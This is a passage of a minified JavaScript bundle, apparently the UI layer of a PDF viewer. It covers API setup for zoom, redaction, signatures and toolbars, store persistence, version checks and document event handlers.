Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return v9(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return v9(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}function v9(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function y9(e){return(y9="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var b9=["yOffset","height","xOffset","width"],w9=function(e){return function(t,n){if(!t||"string"!=typeof t||t.trim().length<1)return console.error("presetName must be a string of length 1 or more");if(!n||"object"!==y9(n))return console.error('newPreset must be an object with "yOffset", "height", "xOffset", and "width" properties');var r,o=g9(b9);try{for(o.s();!(r=o.n()).done;){var i=r.value;if(!(i in n))return console.error("".concat(i," must be included in newPreset"));if("number"!=typeof n[i]||n[i]<0)return console.error("".concat(i," must be a number greater than or equal to 0"))}}catch(e){o.e(e)}finally{o.f()}var a=fi.getPresetCropDimensions(e.getState());a[t]=n,e.dispatch(Ps.setPresetCropDimensions(a))}};function E9(e){return function(e){if(Array.isArray(e))return S9(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return S9(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return S9(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function S9(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function C9(e){return(C9="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var x9=function(e){return function(t){if("object"!==C9(t))return console.error("UI.addDateTimeFormat: dateTimeFormat must be an object");for(var n=!1,r=["date","time"],o=0,i=r;o<i.length;o++){var a=i[o];t[a]?n=!0:t[a]=""}if(!n)return console.error("UI.addDateTimeFormat: dateTimeFormat must contain at least one of the following keys: ".concat(r.join(", ")));e.dispatch(Ps.setDateTimeFormats([].concat(E9(fi.getDateTimeFormats(e.getState())),[t])))}},O9=function(e){return function(t,n){e.dispatch(Ps.addRedactionSearchPattern(t,n))}},A9=function(e){return function(t){e.dispatch(Ps.removeRedactionSearchPattern(t))}},_9=function(e){return function(){return fi.getZoomStepFactors(e.getState())}},T9=function(e){return function(t){if(!t.length)return console.warn("Invalid Input");if(!t.find((function(e){return 0===e.startZoom})))return console.warn("zoomStepFactors should have at least one zoomStepFactor object with startZoom equals to 0.");for(var n=0;n<t.length;n++){var r=t[n];if(void 0===r.step||"number"!=typeof r.step||r.step<0)return console.warn('zoomStepFactor object must have a property called "step" with a positive number as its value.');if(void 0===r.startZoom||"number"!=typeof r.startZoom||r.startZoom<0)return console.warn('zoomStepFactor objectm ust have a property called "startZoom" with a positive number as its value.')}e.dispatch(Ps.setZoomStepFactors(t))}};function k9(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function P9(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?k9(Object(n),!0).forEach((function(t){M9(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):k9(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function M9(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}n(1178);var R9,j9,L9,I9,N9,D9,F9,B9,H9,V9=[ft],z9=Object(f.c)(R2,f.a.apply(void 0,V9)),U9=(R9=z9,I9=L9||!1,N9=Object(f.c)(T2,_2,j9&&j9.enhancer?j9.enhancer:void 0),D9=function(e){N9.dispatch({type:s2,key:e})},F9=function(e,t,n){var r={type:l2,payload:t,err:n,key:e};R9.dispatch(r),N9.dispatch(r),I9&&B9.getState().bootstrapped&&(I9(),I9=!1)},B9=O2({},N9,{purge:function(){var e=[];return R9.dispatch({type:"persist/PURGE",result:function(t){e.push(t)}}),Promise.all(e)},flush:function(){var e=[];return R9.dispatch({type:"persist/FLUSH",result:function(t){e.push(t)}}),Promise.all(e)},pause:function(){R9.dispatch({type:"persist/PAUSE"})},persist:function(){R9.dispatch({type:"persist/PERSIST",register:D9,rehydrate:F9})}}),j9&&j9.manualPersist||B9.persist(),B9);if(window.CanvasRenderingContext2D){var G9=Promise.resolve(),W9=z9.getState();W9.advanced.fullAPI&&(window.Core.enableFullPDF(),G9=b0("../core/pdf/PDFNet.js")),lh("disableLogs",!1)&&window.Core.disableLogs(!0),window._disableStreaming=lh("disableStreaming",!1),window.Core.setWorkerPath("../core"),window.Core.setResourcesPath("../core/assets");try{if(W9.advanced.useSharedWorker&&window.parent.WebViewer){var q9=window.parent.WebViewer.workerTransportPromise(window.frameElement);q9.pdf||q9.office?window.Core.setWorkerTransportPromise(q9):window.Core.setWorkerTransportPromise({pdf:q9})}}catch(e){console.warn(e),"SecurityError"===e.name&&console.warn("workerTransportPromise option cannot be used with CORS")}var Z9=lh("pdf");Z9&&window.Core.forceBackendType(Z9),W9.advanced.enableOptimizedWorkers||window.Core.disableOptimizedWorkers();var Y9=W9.advanced.preloadWorker;!function(e){if(e){var t=document.createElement("link");t.rel="stylesheet",t.type="text/css",t.href=e,document.getElementsByTagName("head")[0].appendChild(t)}}(W9.advanced.customCSS),function(){var e=window.Core.DocumentViewer.prototype.version,t=window.Core.DocumentViewer.prototype.build,n=S1.version,r=lh("webViewerJSVersion",null),o=!!lh("webviewerServerURL",null),i=!!lh("pdfnet",!1);if(!lh("disableLogs",!1)&&e&&n){var a=C1(e.split(".").map((function(e){return parseInt(e,10)})),2),l=a[0],s=a[1],u=C1(n.split(".").map((function(e){return parseInt(e,10)})),2),c=u[0],f=u[1],d=null,p=null;if(r){var h=C1(r.split(".").map((function(e){return parseInt(e,10)})),2);d=h[0],p=h[1]}if(console.table){var m={"UI version":n,"Core version":e,"webviewer.min.js":r,Build:t,"WebViewer Server":o,"Full API":i};console.table(m)}else console.log("[WebViewer] UI version: ".concat(n,", Core version: ").concat(e,", Build: ").concat(t,", WebViewer Server: ").concat(o,", Full API: ").concat(i));var g=[{name:"Core",version:e,majorVersion:l,minorVersion:s},{name:"UI",version:n,majorVersion:c,minorVersion:f}];null===r?console.error("WebViewerJS version not found. Please update webviewer.min.js to the latest version."):g.push({name:"webviewer.min.js",version:r,majorVersion:d,minorVersion:p}),g.sort((function(e,t){var n=null;return e.majorVersion!==t.majorVersion?n=t.majorVersion-e.majorVersion:e.minorVersion!==t.minorVersion&&(n=t.minorVersion-e.minorVersion),n}));var v="[WebViewer] Version Mismatch: ",y=[],b=[],w=g[0];if(g.forEach((function(e){w.majorVersion>e.majorVersion?y.push(e.name):w.minorVersion>e.minorVersion&&b.push(e.name)})),y.length){var E=y.concat(b);v+="".concat(E.join(" and ")," should be updated to version ").concat(w.version),console.error(v)}else b.length&&(v+="".concat(b.join(" and ")," should be updated to version ").concat(w.version),console.warn(v))}}();var $9=new window.Core.DocumentViewer;window.documentViewer=$9,function(e){var t,n,r,o={Tools:window.Core.Tools,Annotations:window.Annotations,CoreControls:window.Core,PartRetrievers:window.Core.PartRetrievers,Actions:window.Actions,PDFNet:window.PDFNet},i={FitMode:z2,LayoutMode:bN,Feature:Wp,Events:Ht,ToolbarGroup:U2,NotesPanelSortStrategy:rc,Theme:VP,RedactionSearchPatterns:G2,addSearchListener:W2,addSortStrategy:q2(e),annotationPopup:X2(e),closeDocument:(n=e,r=n.dispatch,function(){return vt.closeDocument(r)}),closeElements:J2(e),contextMenuPopup:e4(e),disableElements:U0(e),setWv3dPropertiesPanelModelData:Z3(e),setWv3dPropertiesPanelSchema:Y3(e),disableFeatures:jh(e),disableTools:$p(e),disableReplyForAnnotations:n6(e),displayErrorMessage:g4(e),disableHighContrastMode:i4(e),downloadPdf:b4(e),enableElements:G0(e),enableFeatures:Rh(e),enableTools:Yp(e),focusNote:N4(e),getFitMode:H4(e),getLayoutMode:V4(e),getToolMode:Y4,getZoomLevel:$4,getMaxZoomLevel:K4,getMinZoomLevel:X4,hotkeys:Ip,hideOutlineControl:r3(e),isElementDisabled:i3(e),isElementOpen:a3(e),isToolDisabled:d3(e),isHighContrastModeEnabled:l3(e),isFullscreen:p3,loadDocument:h3(e),settingsMenuOverlay:E3(e),pageManipulationOverlay:X6(e),thumbnailControlMenu:t9(e),openElements:x3(e),print:O3(e),printInBackground:k3(e),cancelPrint:P3,registerTool:M3(e),removeSearchListener:I3,searchText:W3(e.dispatch),searchTextFull:Vj(e.dispatch),overrideSearchExecution:m6,setActiveHeaderGroup:$3(e),setActiveLeftPanel:K3(e),setCustomModal:d5(e),addCustomModal:f5(e),showOutlineControl:I8(e),setCustomNoteFilter:p5(e),setCustomPanel:h5(e),exportBookmarks:m5(e),extractPagesWithAnnotations:I4,importBookmarks:g5(e),setFitMode:y5,setHeaderItems:E5(e),setIconColor:C5(e),setLanguage:$J(e),setTranslations:x5,setLayoutMode:O5,setMaxZoomLevel:A5(e),setMinZoomLevel:_5(e),setNoteDateFormat:T5(e),setPrintedNoteDateFormat:k5(e),setMeasurementUnits:J8(e),setPageLabels:M5(e),setPrintQuality:R5(e),setDefaultPrintOptions:L5(e),setNotesPanelSortStrategy:F5(e),setSwipeOrientation:B5,setTheme:O8(e),setToolbarGroup:T8(e),createToolbarGroup:M8(e),dangerouslySetNoteTransformFunction:i6(e),setCustomNoteSelectionFunction:a6(e),setCustomApplyRedactionsHandler:l6(e),setToolMode:Kp,setZoomLevel:R8,setZoomList:j8(e),setSearchResults:d6,setActiveResult:p6,textPopup:F8(e),toggleElementVisibility:I6(e),toggleFullScreen:H8,unregisterTool:V8(e),updateTool:$8(e),updateElement:q8(e),useEmbeddedPrint:K8(e),willUseEmbeddedPrinting:i9(e),setMaxSignaturesCount:e6(e),mentions:v3(e),setCustomMeasurementOverlayInfo:o6(e),setSignatureFonts:t6(e),setSelectedTab:I5(e),setDisplayedSignaturesFilter:Q8(e),setAnnotationContentOverlayHandler:h6(e),VerificationOptions:{addTrustedCertificates:v6(e),loadTrustList:y6(e)},ThumbnailsPanel:{selectPages:P6(e),unselectPages:M6(e),getSelectedPageNumbers:R6(e),enableMultiselect:T6(e),disableMultiselect:k6(e),setThumbnailSelectionMode:j6(e)},NotesPanel:{enableTextCollapse:b6(e),disableTextCollapse:w6(e),enableReplyCollapse:E6(e),disableReplyCollapse:S6(e),disableAutoExpandCommentThread:C6(e),enableAutoExpandCommentThread:x6(e)},getWatermarkModalOptions:r9(e),disableAnnotations:t4(e),disableDownload:n4(e),disableElement:r4(e),disableFilePicker:o4(e),disableLocalStorage:a4,disableMeasurement:l4(e),disableNotesPanel:u4(e),disableNoteSubmissionWithEnter:c4(e),disablePrint:f4(e),disableRedaction:d4(e),disableTextSelection:p4(e),disableTouchScrollLock:m4,enableAnnotations:E4(e),enableDownload:S4(e),enableElement:C4(e),enableFilePicker:O4(e),enableHighContrastMode:x4(e),enableLocalStorage:A4,enableMeasurement:_4(e),enableNotesPanel:k4(e),enableNoteSubmissionWithEnter:o9(e),enablePrint:P4(e),enableRedaction:M4(e),enableTextSelection:R4(e),enableTool:j4(e),enableTouchScrollLock:L4,enableNativeScrolling:T4,getAnnotationUser:D4,getCurrentPageNumber:B4(e),getPageCount:z4(e),getShowSideWindow:Z4(e),getSideWindowVisibility:q4(e),setNotesPanelSort:P5(e),setActivePalette:t5(e),setColorPalette:i5(e),setPageReplacementModalFileList:l5(e),disableTool:h4(e),enableAllElements:w4(e),goToFirstPage:J4,goToLastPage:e3(e),goToNextPage:t3(e),goToPrevPage:n3(e),isAdminUser:o3,isMobileDevice:s3,isReadOnly:f3,openElement:C3(e),rotateClockwise:N3,rotateCounterClockwise:D3,saveAnnotations:V3(e),setAdminUser:X3,setAnnotationUser:Q3,setCurrentPageNumber:c5,setSortNotesBy:D5(e),getCustomData:r6,toggleReaderMode:L6(e),enableToolDefaultStyleUpdateFromAnnotationPopup:gL,disableToolDefaultStyleUpdateFromAnnotationPopup:vL,addEventListener:G6,removeEventListener:W6,syncNamespaces:D8,Fonts:u9(e),reloadOutline:a9(e),TabManager:p9(e),getAvailableLanguages:JJ,replaceRedactionSearchPattern:m9(e),setPresetCropDimensions:w9(e),addDateTimeFormat:x9(e),addRedactionSearchPattern:O9(e),removeRedactionSearchPattern:A9(e),setThumbnailSelectionMode:j6(e),useNativeScroll:X8,showErrorMessage:L8(e),toggleElement:B8(e),setSideWindowVisibility:N5(e),setHighContrastMode:u5(e),getIsHighContrastMode:Q4(e),updateOutlines:Y8(e),selectThumbnailPages:c6(e),unselectThumbnailPages:f6(e),getSelectedThumbnailPageNumbers:U4(e),loadedFromServer:!1,serverFailed:!1,i18n:st,showWarningMessage:N8(e),getBBAnnotManager:F4,selectors:G4(e),reactElements:g6,enableClearSearchOnPanelClose:F6(e),disableClearSearchOnPanelClose:B6(e),disableNativeScrolling:s4,setAnnotationReadState:N6(e),getAnnotationReadState:D6(e),disableFadePageNavigationComponent:H6(e),enableFadePageNavigationComponent:V6(e),enableDesktopOnlyMode:q6(e),disableDesktopOnlyMode:Z6(e),isInDesktopOnlyMode:Y6(e),disablePageDeletionConfirmationModal:z6(e),enablePageDeletionConfirmationModal:U6(e),getZoomStepFactors:_9(e),setZoomStepFactors:T9(e)};window.instance=P9(P9(P9((M9(t={CORE_NAMESPACE_KEY:"Core",UI_NAMESPACE_KEY:"UI"},"Core",P9(P9(P9({},o),window.Core),{},{documentViewer:window.documentViewer,annotationManager:window.documentViewer.getAnnotationManager()})),M9(t,"UI",i),t),o),i),{},{docViewer:window.documentViewer,annotManager:window.documentViewer.getAnnotationManager()})}(z9),qc.initialize(z9),p1(),function(e){var t={fallbackLng:"en",react:{useSuspense:!1}},n=function(e,t){window.Annotations.Utilities.setAnnotationSubjectHandler((function(e){return t("annotation.".concat(e))})),window.Core.Tools.SignatureCreateTool.setTextHandler((function(){return t("message.signHere")})),window.Core.Tools.FreeTextCreateTool.setTextHandler((function(){return t("message.insertTextHere")})),window.Core.Tools.CalloutCreateTool.setTextHandler((function(){return t("message.insertTextHere")}))};e.advanced.disableI18n?st.init(t,n):st.use(l1).init(u1(u1({},t),{},{backend:{loadPath:"./i18n/{{ns}}-{{lng}}.json",request:f1}}),n),Object.keys(YJ).forEach((function(e){if(YJ[e].i18next){var t=st.services.pluralResolver.getRule(YJ[e].i18next);st.services.pluralResolver.addRule(e,t)}}))}(W9),H9=W9,vt.setCurrentUser(H9.user.name),vt.setIsAdminUser(H9.user.isAdmin),(Mt||Rt)&&(window.Core.Tools.Tool.ENABLE_AUTO_SWITCH=!1),E1(),vt.setToolMode(Qa);var K9=function(e){var t=e.dispatch,n=function(e){return function(){e(Ps.closeElement("passwordModal"));var t=vt.getTotalPages();Mt&&window.Core.SetPreRenderLevel(2);var n=window.documentViewer.getDisplayModeManager();t>=500&&!n.isVirtualDisplayEnabled()&&vt.setDisplayMode(window.Core.DisplayModes.Single),e(Ps.setPageLabels(w0(t))),e(Ps.setTotalPages(t));var r=vt.getCurrentPage();e(Ps.setCurrentPage(r))}}(t),r=function(e){return function(t){vt.setToolMode(Qa),vt.getTool(E0.FORM_FILL_CHECKMARK).hidePreview(),e(Ps.setActiveToolGroup("")),vt.selectAnnotation(t)}}(t),o=function(e){return function(t){vt.setToolMode(Qa),vt.getTool(S0.FORM_FILL_CROSS).hidePreview(),e(Ps.setActiveToolGroup("")),vt.selectAnnotation(t)}}(t),i=function(e){return function(){e(Ps.closeElements(["annotationPopup","textPopup","contextMenuPopup"])),e(Ps.setDisplayMode(vt.getDisplayMode()))}}(t),a=function(e){return j0(regeneratorRuntime.mark((function t(){var n,r,o,i,a,l,s,u,c,f;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(n=e.dispatch,r=e.getState,n(Ps.openElement("pageNavOverlay")),n(Ps.setLoadingProgress(1)),setTimeout((function(){n(Ps.closeElement("progressModal")),n(Ps.resetLoadingProgress())}),300),L0&&(L0=!1,vt.enableRedaction(lh("enableRedaction",!1)||vt.isCreateRedactionEnabled()),vt.isCreateRedactionEnabled()?(n(Ps.enableElement("redactionToolGroupButton",1)),n(Ps.enableElement("pageRedactionToolGroupButton",1))):(n(Ps.disableElement("redactionToolGroupButton",2)),n(Ps.disableElement("pageRedactionToolGroupButton",2)))),lh("a",!1)?vt.getDocumentViewer().enableAnnotations():vt.getDocumentViewer().disableAnnotations(),vt.getOutlines((function(e){n(Ps.setOutlines(e))})),(o=vt.getDocument()).addEventListener("bookmarksUpdated",(function(){return vt.getOutlines((function(e){return n(Ps.setOutlines(e))}))})),nA.setDoc(vt.getDocument()),o.isWebViewerServerDocument()||(o.addEventListener("layersUpdated",j0(regeneratorRuntime.mark((function e(){var t,i;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,o.getLayersArray();case 2:t=e.sent,i=fi.getLayers(r()),M0(t,i,n);case 5:case"end":return e.stop()}}),e)})))),o.getLayersArray().then((function(e){if(0===e.length){n(Ps.disableElement("layersPanel",1)),n(Ps.disableElement("layersPanelButton",1));var t=r();if("layersPanel"===fi.getActiveLeftPanel(t)){var o=O0(t).find((function(e){return!fi.isElementDisabled(t,e)}));n(Ps.setActiveLeftPanel(o))}}else n(Ps.enableElement("layersPanel",1)),n(Ps.enableElement("layersPanelButton",1)),M0(e,void 0,n)}))),(i=o.getType())===zu||i===Wu&&!o.isWebViewerServerDocument()?(n(Ps.enableElement("cropToolGroupButton",1)),n(Ps.enableElement("contentEditButton",1))):(n(Ps.disableElement("cropToolGroupButton",1)),n(Ps.disableElement("contentEditButton",1))),!vt.isFullPDFEnabled()){t.next=27;break}return a=window.Core.PDFNet,l=vt.getDocumentViewer(),s=!1,u=function(){s=!0},c=function(){if(s)throw l.removeEventListener("documentUnloaded",u),new Error("setPageLabels is cancelled because the document got closed.")},l.addEventListener("documentUnloaded",u,{once:!0}),c(),t.next=23,l.getDocument().getPDFDoc();case 23:if(f=t.sent){t.next=26;break}return t.abrupt("return");case 26:a.initialize().then((function(){var t=function(){var t=j0(regeneratorRuntime.mark((function t(){var n,r,o,i,a;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,c(),t.next=4,f.getPageCount();case 4:n=t.sent,r=[],o=1;case 7:if(!(o<=n)){t.next=20;break}return c(),t.next=11,f.getPageLabel(o);case 11:return i=t.sent,c(),t.next=15,i.getLabelTitle(o);case 15:a=t.sent,r.push(a.length>0?a:o.toString());case 17:o++,t.next=7;break;case 20:c(),e.dispatch(Ps.setPageLabels(r)),t.next=27;break;case 24:t.prev=24,t.t0=t.catch(0),console.warn(t.t0);case 27:case"end":return t.stop()}}),t,null,[[0,24]])})));return function(){return t.apply(this,arguments)}}();a.runWithCleanup(t)}));case 27:window.instance.UI.loadedFromServer=!1,window.instance.UI.serverFailed=!1,window.documentViewer.getAnnotationManager().getFieldManager().setPrintHandler((function(){hc(e.dispatch,fi.isEmbedPrintSupported(e.getState()),fi.getSortStrategy(e.getState()),fi.getColorMap(e.getState()))})),n(Ps.setZoom(vt.getZoom())),zt(Ht.DOCUMENT_LOADED);case 32:case"end":return t.stop()}}),t)})))}(e),l=function(e){return function(){e(Ps.closeElements(["pageNavOverlay","notesPanel","searchPanel","leftPanel","signatureValidationModal","audioPlaybackPopup","redactionPanel","wv3dPropertiesPanel"].concat(I0(r0)))),e(Ps.setOutlines([])),e(Ps.setBookmarks({})),e(Ps.setTotalPages(0)),e(Ps.setSearchValue("")),e(Ps.setZoom(1)),vt.clearSearchResults()}}(t),s=function(e){return function(t){var n=vt.getDocumentViewer();t===n.FitMode.Zoom?e(Ps.setFitMode("Zoom")):t===n.FitMode.FitWidth?e(Ps.setFitMode("FitWidth")):t===n.FitMode.FitPage&&(Rt&&vt.fitToZoom(),e(Ps.setFitMode("FitPage")))}}(t),u=function(e){return function(t){e(Ps.setRotation(t))}}(t),c=function(e){return function(t){var n=t.name,r=t.defaults;r&&Dp.isLocalStorageEnabled()&&D0(n,r);var o=vt.getToolMode();o&&o.name===n&&e(Ps.setActiveToolStyles(r))}}(t),f=function(e,t){return function(n,r){r&&"TextSelect"===r.name&&(vt.clearSelection(),e(Ps.closeElement("textPopup"))),e(Ps.setActiveToolNameAndStyle(n));var o=t.getState(),i=fi.getActiveToolGroup(o);if("AnnotationEdit"!==fi.getActiveToolName(o)||"signatureTools"!==i){var a=fi.getToolButtonObject(o,n.name).group;F0(t,void 0===a?"":a)}}}(t,e),d=function(e){return function(t){e(Ps.setZoom(t))}}(t),p=function(e){return function(t){e(Ps.setCurrentPage(t))}}(t),h=function(e){return function(){var t=e.dispatch;vt.getIsReadOnly()?($p(e)(),jh(e)([Wp.Annotating]),vt.setToolMode(Qa),t(Ps.setActiveToolGroup(""))):(Yp(e)(),Rh(e)([Wp.Annotating])),t(Ps.setReadOnly(vt.getIsReadOnly())),t(Ps.setAdminUser(vt.getIsAdminUser())),t(Ps.setUserName(vt.getCurrentUser())),vt.drawAnnotationsFromList(vt.getSelectedAnnotations())}}(e),m=function(e,t,n){"delete"===t&&B0(e),lh("selectAnnotationOnCreation",!1)&&("add"!==t||n.imported||e.length>0&&!e[0].InReplyTo&&vt.selectAnnotation(e[0]))},g=function(e){return function(t){vt.setToolMode(Qa),e(Ps.setActiveToolGroup("")),vt.selectAnnotation(t)}}(t),v=function(e){vt.setToolMode(Qa),vt.getTool("AnnotationCreateSignature").hidePreview(),vt.selectAnnotation(e),vt.getTool("AnnotationCreateSignature").annot=null},y=function(e){var t=e.dispatch,n=e.getState;return function(e){var r=n(),o=fi.isElementDisabled(r,"notesPanel"),i=fi.isElementOpen(r,"notesPanel");o||(vt.setToolMode(Qa),t(Ps.setActiveToolGroup("")),t(Ps.closeElement("searchPanel")),t(Ps.closeElement("redactionPanel")),t(Ps.openElement("notesPanel")),setTimeout((function(){vt.selectAnnotation(e),t(Ps.triggerNoteEditing())}),i?0:400))}}(e),b=function(e){var t=e.dispatch;return function(){var e=document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement||document.msFullscreenElement;e=!!e,t(Ps.setFullScreen(e))}}(e),w=function(e){return function(t){var n=t.added,r=t.removed,o=t.moved,i=Object.keys(o);if(n.length||r.length||i.length){var a=vt.getTotalPages();e(Ps.setTotalPages(a)),vt.getOutlines((function(t){e(Ps.setOutlines(t))})),setTimeout((function(){e(Ps.setPageLabels(w0(a)))}),0)}}}(t),E=function(e){return V0(regeneratorRuntime.mark((function t(){var n,r;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return n=vt.getTool("AnnotationCreateSignature"),t.next=3,n.isEmptySignature();case 3:if(t.sent){t.next=8;break}return t.next=6,n.addSignature();case 6:t.next=14;break;case 8:!fi.isElementDisabled(e.getState(),"toolbarGroup-Insert")&&e.dispatch(Ps.setToolbarGroup("toolbarGroup-Insert")),e.dispatch(Ps.setActiveToolGroup("signatureTools")),e.dispatch(Ps.openElement("toolsOverlay")),r=fi.isElementDisabled(e.getState(),"toolsOverlay")||fi.isElementDisabled(e.getState(),"toolsHeader"),0===fi.getSavedSignatures(e.getState(),"signatureOverlay").length||r?e.dispatch(Ps.openElement("signatureModal")):(vt.setToolMode(window.Core.Tools.ToolNames.SIGNATURE),e.dispatch(Ps.openElement("toolStylePopup")));case 14:case"end":return t.stop()}}),t)})))}(e),S=function(e){return function(t){vt.setToolMode(Qa),vt.getTool(z0.FORM_FILL_DOT).hidePreview(),e(Ps.setActiveToolGroup("")),vt.selectAnnotation(t)}}(t),C=function(e){vt.setToolMode(Qa),vt.getTool("AnnotationCreateRubberStamp").hidePreview(),vt.selectAnnotation(e)},x=function(e){return function(t){t?U0(e)(["documentControl","thumbnailControl"]):G0(e)(["documentControl","thumbnailControl"])}}(e),O=function(e){return function(t){e.getState().viewer.isAccessibleMode&&vt.getDocument().loadPageText(t,(function(e){var n=document.createElement("div");n.tabIndex=0,n.textContent="Page ".concat(t,".\n").concat(e,"\nEnd of page ").concat(t,"."),n.style="font-size: 5px; overflow: auto; position: absolute; z-index: -99999; top: 0; bottom: 0;";var r="pageText".concat(t);n.id=r;var o=document.getElementById("pageContainer".concat(t)),i=o.querySelector("#".concat(r));i&&o.removeChild(i),o.appendChild(n)}))}}(e),A=function(){vt.setToolMode(Qa)},_=function(e){var t=e.fileData,n=e.fileName;Object(Uh.saveAs)(t,n)},T=function(e,t){return $0(regeneratorRuntime.mark((function n(){var r,o,i,a,l,s;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:if(r=vt.getTool("AnnotationCreateSignature"),o=r.getSavedSignatures(),i=fi.getMaxSignaturesCount(t.getState()),(a=o.length-i)>0)for(l=0;l<a;l++)r.deleteSavedSignature(0);return o=r.getSavedSignatures(),n.next=8,Z0(o);case 8:s=n.sent,e(Ps.setSavedSignatures(s));case 10:case"end":return n.stop()}}),n)})))}(t,e),k=function(e){return X0(regeneratorRuntime.mark((function t(){var n,r,o;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return n=vt.getTool("AnnotationCreateSignature"),r=n.getSavedSignatures(),t.next=4,Z0(r);case 4:o=t.sent,e(Ps.setSavedSignatures(o));case 6:case"end":return t.stop()}}),t)})))}(t),P=function(e){return function(){var t=window.documentViewer.getAnnotationHistoryManager().canUndo();e(Ps.setCanUndo(t));var n=window.documentViewer.getAnnotationHistoryManager().canRedo();e(Ps.setCanRedo(n))}}(t),M=function(e){return function(){e(Ps.setCustomElementOverrides("downloadButton",{disabled:!0})),e(Ps.setCustomElementOverrides("printButton",{disabled:!0})),e(Ps.setCustomElementOverrides("filePickerButton",{disabled:!0}))}}(t),R=function(e,t){return function(){e(Ps.setCustomElementOverrides("downloadButton",{disabled:!1})),e(Ps.setCustomElementOverrides("printButton",{disabled:!1})),e(Ps.setCustomElementOverrides("filePickerButton",{disabled:!1})),"toolbarGroup-Forms"===fi.getCurrentToolbarGroup(t.getState())&&e(Ps.setToolbarGroup("toolbarGroup-View"))}}(t,e),j=J0(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(window.Core.isFullPDFEnabled()){e.next=2;break}return e.abrupt("return");case 2:return e.next=4,window.PDFNet.initialize(void 0,window.Core.BackendTypes.WASM);case 4:case"end":return e.stop()}}),e)})));return{addEventHandlers:function(){vt.addEventListener("beforeDocumentLoaded",n),vt.addEventListener("beforeDocumentLoaded",n),vt.addEventListener("displayModeUpdated",i),vt.addEventListener("documentLoaded",a),vt.addEventListener("documentUnloaded",l),vt.addEventListener("fitModeUpdated",s),vt.addEventListener("rotationUpdated",u),vt.addEventListener("toolUpdated",c),vt.addEventListener("toolModeUpdated",f),vt.addEventListener("zoomUpdated",d),vt.addEventListener("pageNumberUpdated",p),vt.addEventListener("pagesUpdated",w),vt.addEventListener("readOnlyModeChanged",x),vt.addEventListener("updateAnnotationPermission",h),vt.addEventListener("annotationChanged",m),vt.addEventListener("historyChanged",P),vt.addEventListener("pageComplete",O),vt.addEventListener("fileAttachmentDataAvailable",_),vt.addEventListener("formFieldCreationModeStarted",M),vt.addEventListener("formFieldCreationModeEnded",R),vt.addEventListener("digitalSignatureAvailable",j),vt.getTool("AnnotationCreateStamp").addEventListener("annotationAdded",g),vt.getTool("AnnotationCreateSticky").addEventListener("annotationAdded",y),vt.getTool("AnnotationCreateSticky2").addEventListener("annotationAdded",y),vt.getTool("AnnotationCreateSticky3").addEventListener("annotationAdded",y),vt.getTool("AnnotationCreateSticky4").addEventListener("annotationAdded",y),vt.getTool("AnnotationCreateSignature").addEventListener("locationSelected",E),vt.getTool("AnnotationCreateSignature").addEventListener("annotationAdded",v),vt.getTool("AnnotationCreateSignature").addEventListener("signatureSaved",T),vt.getTool("AnnotationCreateSignature").addEventListener("signatureDeleted",k),vt.getTool(e1.FORM_FILL_DOT).addEventListener("annotationAdded",S),vt.getTool("AnnotationCreateRubberStamp").addEventListener("annotationAdded",C),vt.getTool("AnnotationCreateFileAttachment").addEventListener("annotationAdded",A),vt.getTool(e1.FORM_FILL_CROSS).addEventListener("annotationAdded",o),vt.getTool(e1.FORM_FILL_CHECKMARK).addEventListener("annotationAdded",r),document.addE